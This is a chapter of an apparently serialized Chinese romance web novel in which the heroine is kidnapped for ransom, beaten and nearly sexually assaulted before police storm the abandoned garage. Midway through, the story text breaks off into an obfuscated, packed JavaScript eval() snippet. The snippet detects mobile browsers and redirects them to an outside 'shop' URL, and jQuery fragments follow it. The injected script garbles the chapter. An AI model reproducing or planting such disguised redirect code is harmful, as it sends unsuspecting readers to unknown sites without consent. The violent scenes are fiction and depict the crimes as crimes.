54. Chapter 54

作品:《小狗说爱

    开车去找姜煦的路上,贺舟迟几乎无法思考。


    越接近目的地,他越是心慌。


    一个回旋弯,车子停下来,贺舟迟干脆利落地下车,来到空无一人的街道。


    他左右巡视一圈,画面却风平浪静,好像并没有发生什么惊天动地的事。


    贺舟迟又给姜煦打了个电话。


    没人接听。


    他双手紧紧握着手机,隐约涌上了层层分布的青筋。


    几分钟后,姜煦给他回了电话。


    他心下惊喜,立马摁下接通键:“喂?”


    随后,贺舟迟眼神一滞,重新确认来电。


    对面是用了变声器,充满着机器磁性和无情,但有些模糊听不清:“找姜煦是吧。”


    冷汗顿间遍布全身。


    “你是谁?姜煦在哪?!”


    电话的那头突然传来了女生唔唔的挣扎声,贺舟迟瞳孔放缩,声音不自觉加大:“姜煦?!”


    接着,他听见清脆的巴掌声,女生的声音一下子变小了,而后逐渐消失。


    贺舟迟更加急切:“你想要干什么?什么条件都可以提!别碰姜煦!”


    “什么条件都可以提?”


    学了多少的心理学,贺舟迟知道这事触及到了那人的防线,乘胜追击:“都可以,只要保证姜煦是健康的。”


    “把姜煦放走,什么条件都可以。”


    “哈哈哈哈哈哈哈哈哈!”机器的笑声在空气里回荡着,除此之外,他还听到了汽车的鸣笛声。


    坏了。在车上。


    “给我八千万,现金,今晚十点送到×××。”


    男人果然松了口,贺舟迟当下眼皮一跳,他说的地方就是姜煦在寻找白雪的地方,也是贺舟迟目前所在的地方。


    “好,我要你保证姜煦是安全健康的。”


    话音未落,那边已经挂断了电话。


    是谁绑架了姜煦?那人的目的是什么?要钱?


    八千万不是普通人能随随便便拿出来的,姜煦和贺舟迟都是财不外露的人,他又是怎么敢直接狮子大开口要八千万的呢?


    他是否该报警?会不会惊动那头的人,从而对姜煦的生命造成威胁......


    太阳西沉,天色已晚,周围的一切让他不寒而栗,让他与十八岁所看见的渐渐重合起来。


    深海、争吵、手机铃声、坠入大海......


    心脏狂跳。


    一声、两声。


    “扑通”一下,贺舟迟双膝跪地,直直晕倒在地上。


    再次醒来时,是在病房里。


    缓缓转醒的目光对上仲潮夏的,他感到头痛欲裂。


    “贺舟迟?醒了醒了!你感觉怎么样?怎么突然晕倒了?”


    仲潮夏带着急切又担心的语气问道。


    他猛然惊醒,恢复了意识,大口大口喘着气。


    仲潮夏看出弟弟想要说话,于是将耳朵靠近他:“怎么了?慢慢说。”


    “姜煦被人绑架了。”他用着近乎沙哑的喉咙说道。


    仲潮夏一震,怔怔说道:“什么?”


    贺舟迟顾不上那么多了,他起身,将针头拔掉:“先找姜煦。”


    仲潮夏分不清弟弟突然晕倒和姜煦被绑架那个更重要和更危机了,她没拦下贺舟迟起身,顺便打了报警电话。


    贺舟迟又给姜煦打了电话,但此时此刻已是关机状态。


    冰凉如冰窖,贺舟迟的脸近乎苍白。


    时针已经走到了八点,距离约定的时间越来越近,不能坐以待毙。


    贺舟迟出了医院,从银行里提出来整整八千万现金。


    再次试图给姜煦拨电话,依旧未通。


    *


    姜煦是从行驶的车上悠悠转醒的。


    她感觉自己天翻地覆,手脚麻木,头重不堪。


    “找姜煦是吧。”


    猛然回神,姜煦呜呜出声,拼命地想要发出动静。


    前面的人是谁?他们要带着她去哪?他们又在给谁打电话?


    这些疑问还没被察觉,“啪”一声,巴掌落在了她的脸上,与之而来的是更加深厚的堵嘴布,将她的嘴包裹地严严实实的,再也说不出一句话。


    “今晚十点送到×××”


    熟悉的声音。


    说完,在副驾驶座上的男人将她的手机卡拆下来,连手机一同扔下去。


    那人回头,与她对视,露出森白的牙齿:“姜医生,好久不见。”


    张海西!


    竟然是他!


    姜煦一瞬间慌了神,看样子,他已经从监狱里出来了,但嘴还被封着,她说不出来一句话。


    面包车突然停下了,停在了一个废弃的修车厂里。


    张海西将她绑在了一根水泥柱子上,之后就不再管她了。


    除张海西以外,还有两个男人,其中一个拿了一提啤酒和几道下酒菜,随便找了个地方,三人就吃了起来。


    嘴里的口水越来越多,她有些反胃,下巴长时间张着,酸软疼痛。


    张海西喝了三四瓶啤酒,接着向她走过来,一身酒气地逼近。


    “姜医生啊。”


    一脚踹向她的肚子。


    张海西拿出了一把小刀,刀锋锋利,如同威胁又调情一般用小刀拍拍她的脸。


    他低声说话,酒气更加严重:“你是不是觉得自己很伟大?”


    他把姜煦的堵嘴布拿出来,仔细地瞧了瞧,而后“啧”了一声,说道:“恶心。”


    姜煦恶狠狠地与他对视。


    “你是不是觉得自己特别伟大?哦~救助小动物~反对虐待动物~救助流浪动物~”


    “哈哈哈哈哈哈哈哈哈哈!”张海西开始大笑。


    又突然就停下了,眼神带了些狠厉:“呸!”


    “虚伪!恶心!”


    又是一脚上去。


    “你看看我,你看看我,我做错了什么?”他开始质问姜煦。


    “我伤天害理了么?我做不可饶恕之事了么?几只牲畜!还有你和贺舟迟这俩大畜生!害得我坐牢!害得我失去体面的工作!害得我家破人亡,妻离子散!害得我走投无路!”


    张海西已经疯了,瞠目结舌,脸和眼睛通红。


    “你告诉我该怎么办!你说啊!!救你妈的动物!你救动物就是为了祸害别人吗!”他朝着姜煦大喊。


    姜煦闭了闭眼,平淡回答他:“你还不如一条狗。”


    变态,社会败类,欺负弱小,这样的人还不如一条狗。


    张海西愣住了,许久,他“哼”了一声,够意思地鼓了鼓掌,接着,又是用尽全力的一巴掌。


    打得姜煦耳鸣头震。


    他抓着她的头发,咬牙切齿道:“好......我就让你看看,我到底比不比得上一条狗。”


    说完,凶狠狠地看着她。


    姜煦有些无力,这一巴掌够用力,她的头发凌乱,脸颊通红。


    他们有什么计划?刚才的电话是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108986|195561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打给谁的?是否已经有人发现她失踪了?


    她该生还是该死?


    姜煦垂眸,想着这些问题。


    在场一共三个男人,她不可能一口气吊打三个男人,而且在一个陌生荒凉的地点,她能做什么?


    其中一个喝完酒的男人,突然摸着下巴打量起了她:“这女的有几分姿色啊。”


    她心下一紧。


    张海西淡淡望过来:“一般,我对女的不感兴趣。”


    与他对话的男人眼神微妙:“我有兴趣啊。”


    他的同伴提醒他:“别,我们只是要钱,别闹出事情来。”


    听罢,男人有了些理智,不再对她虎视眈眈。


    姜煦暂时松了一口气。


    但没过多久,那男人又上前两步,蹲下来与她平视。


    “但摸一摸,看一看不犯法吧?”男人咧嘴流氓地笑了。


    姜煦知道了男人想要干什么,不断的往后退,和水泥柱连在一起,嘴里不断说着:“不要......不要......”


    “不要什么?”


    男人一下子拉下她的肩膀,露出精美的锁骨和白嫩的肌肤。


    男人的眼神暗了暗。


    “滚!别碰我!”她大声叫着,身体像一条蛇不断蠕动,试图摆脱男人的大掌。


    他的手越来越向下......越来越向下......


    姜煦“呸”一口吐在他的脸上。


    此番举动激怒了男人。


    “靠?你找死吧!”


    他提起袖子,露出有力恶心的胳膊,被同伴不耐地拉住:“他妈的告诉过你了!别找事!听不听懂的人话?”


    男人是个暴脾气:“那就算了?我白白让你吐一脸唾沫??”


    同伴打量她,笑了,给男人支招:“你把她衣服脱了,拍几张照片发网上给兄弟们看看。”


    姜煦浑身颤抖着,听见男人兴高采烈地回复:“哎!好办法!”


    接着又朝着她走过来,这次男人聪明了,将她的嘴里重新硬塞上堵嘴布,接着将捆着她的绳子松开。


    姜煦既动手也动着脚,不断摇着头。


    不要......不要......


    不能这样屈辱。


    见她挣扎得厉害,同伴从后面拉起她的两根胳膊,示意男人:“快点!”


    “嘿嘿,谢谢陈哥!”


    男人开始一层一层卸下她的衣服,羽绒服、毛衣......


    实打实的皮肤接触到冰空气,冷得她打了一个寒颤,起满了鸡皮疙瘩。


    她近乎绝望地闭上眼,一滴泪水滑过脸颊。


    男人将堵嘴布拿走了,得意说道:“怎么样?还吐吗?”


    姜煦睁眼,又是一口水吐上去。


    “放手!滚!别他妈碰我!”


    她喊的声嘶力竭。


    “你他妈是不是神经病!婊子!贱货!狗日的——”


    男人和女人的嘶吼声不停,愈加愈烈。


    就在这时,张海西察觉到不对劲,大喊一声:“住嘴!”


    他听到了人的动静。


    门开了——


    张海西瞬间抬眼,目光沉沉。


    男人和同伴停下手中的动作。


    十几个警察纷纷涌上来,列队布置,手举着枪。


    “不许动!”


    在警察后面,贺舟迟踏着步子前来。


    身后的车灯照亮了废弃的修车厂,每一个角落暴露无疑。